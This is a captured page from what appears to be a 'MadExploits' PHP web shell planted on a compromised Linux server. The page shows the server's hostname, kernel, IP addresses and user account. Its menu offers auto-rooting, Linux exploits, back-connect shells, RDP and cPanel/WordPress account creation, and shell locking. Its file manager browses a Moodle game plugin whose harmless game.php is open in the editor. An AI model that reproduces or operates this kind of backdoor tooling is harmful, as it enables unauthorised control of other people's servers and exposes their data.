Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.196
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
blocks /
game /
[ HOME SHELL ]
Name
Size
Permission
Action
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
.travis.yml
2.65
KB
-rw-r--r--
CHANGES.md
2.24
KB
-rw-r--r--
LICENSE
34.33
KB
-rw-r--r--
README.md
2.98
KB
-rw-r--r--
block_game.php
3.27
KB
-rw-r--r--
download.php
2.21
KB
-rw-r--r--
edit_form.php
9.87
KB
-rw-r--r--
game.php
5.14
KB
-rw-r--r--
help_game.php
8.76
KB
-rw-r--r--
lib.php
44.56
KB
-rw-r--r--
perfil_gamer.php
2.01
KB
-rw-r--r--
rank_game.php
8.85
KB
-rw-r--r--
rank_group_game.php
3.69
KB
-rw-r--r--
reset_points_course.php
3.32
KB
-rw-r--r--
set_avatar_form.php
12.53
KB
-rw-r--r--
settings.php
4.22
KB
-rw-r--r--
version.php
1.08
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : game.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Game block language strings * * @package block_game * @copyright 2019 Jose Wilson * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once('../../config.php'); require_once($CFG->dirroot . '/blocks/game/lib.php'); require_once($CFG->libdir . '/completionlib.php'); require_login(); global $USER, $COURSE, $CFG; $op = optional_param('op', '', PARAM_ALPHA); $game = new stdClass(); switch ($op) { case "load": $game->courseid = $COURSE->id; $game->userid = $USER->id; $game = block_game_load_game($game); $game->url_avatar = $CFG->wwwroot."/blocks/game/pix/a".$game->avatar.".png"; $json = array( 'game' => array( 'id' => $game->id, 'courseid' => $game->courseid, 'userid' => $game->userid, 'username' => $USER->firstname, 'avatar' => $game->avatar, 'score' => $game->score, 'level' => $game->level, 'ranking' => $game->ranking, 'url_avatar' => $game->url_avatar, 'frame' => $game->frame, 'bonus_day' => $game->bonus_day, 'achievements' => explode( ',', $game->achievements), 'phases' => explode( ',', $game->phases), 'rewards' => explode( ',', $game->rewards) ) ); echo json_encode($json); break; case "update": $id = optional_param('id', '0', PARAM_INT); $userid = optional_param('userid', '0', PARAM_INT); $courseid = optional_param('courseid', '0', PARAM_INT); $score = optional_param('score', '0', PARAM_INT); $achievements = optional_param('achievements', '', PARAM_SEQUENCE); $rewards = optional_param('rewards', '', PARAM_SEQUENCE); $phases = optional_param('phases', '', PARAM_SEQUENCE); $frame = optional_param('frame ', '', PARAM_SEQUENCE); $game->id = $id; $game->userid = $userid; $game->courseid = $courseid; $game->score = $score; $game->achievements = $achievements; $game->rewards = $rewards; $game->phases = $phases; $game->frame = $frame; echo block_game_update_game($game); break; case "avatar": $id = optional_param('id', '0', PARAM_INT); $userid = optional_param('userid', '0', PARAM_INT); $avatar = optional_param('avatar', '0', PARAM_INT); $game->id = $id; $game->userid = $userid; $game->avatar = $avatar; echo block_game_update_avatar_game($game); break; case "score": $id = optional_param('id', '0', PARAM_INT); $score = optional_param('score', '0', PARAM_INT); $game->id = $id; $game->score = $score; echo block_game_update_score_game($game); break; case "level": $id = optional_param('id', '0', PARAM_INT); $level = optional_param('level', '0', PARAM_INT); $game->id = $id; $game->level = $level; echo block_game_update_level_game($game); break; case "achievements": $id = optional_param('id', '0', PARAM_INT); $achievements = optional_param('achievements', '', PARAM_SEQUENCE); $game->id = $id; $game->achievements = $achievements; echo block_game_update_achievements_game($game); break; case "rewards": $id = optional_param('id', '0', PARAM_INT); $rewards = optional_param('rewards', '', PARAM_SEQUENCE); $game->id = $id; $game->rewards = $rewards; echo block_game_update_rewards_game($game); break; case "phases": $id = optional_param('id', '0', PARAM_INT); $phases = optional_param('phases', '', PARAM_SEQUENCE); $game->id = $id; $game->phases = $phases; echo block_game_update_phases_game($game); break; case "frame": $id = optional_param('id', '0', PARAM_INT); $frame = optional_param('frame', '', PARAM_SEQUENCE); $game->id = $id; $game->frame = $frame; echo block_game_update_frame_game($game); break; default: break; }
Close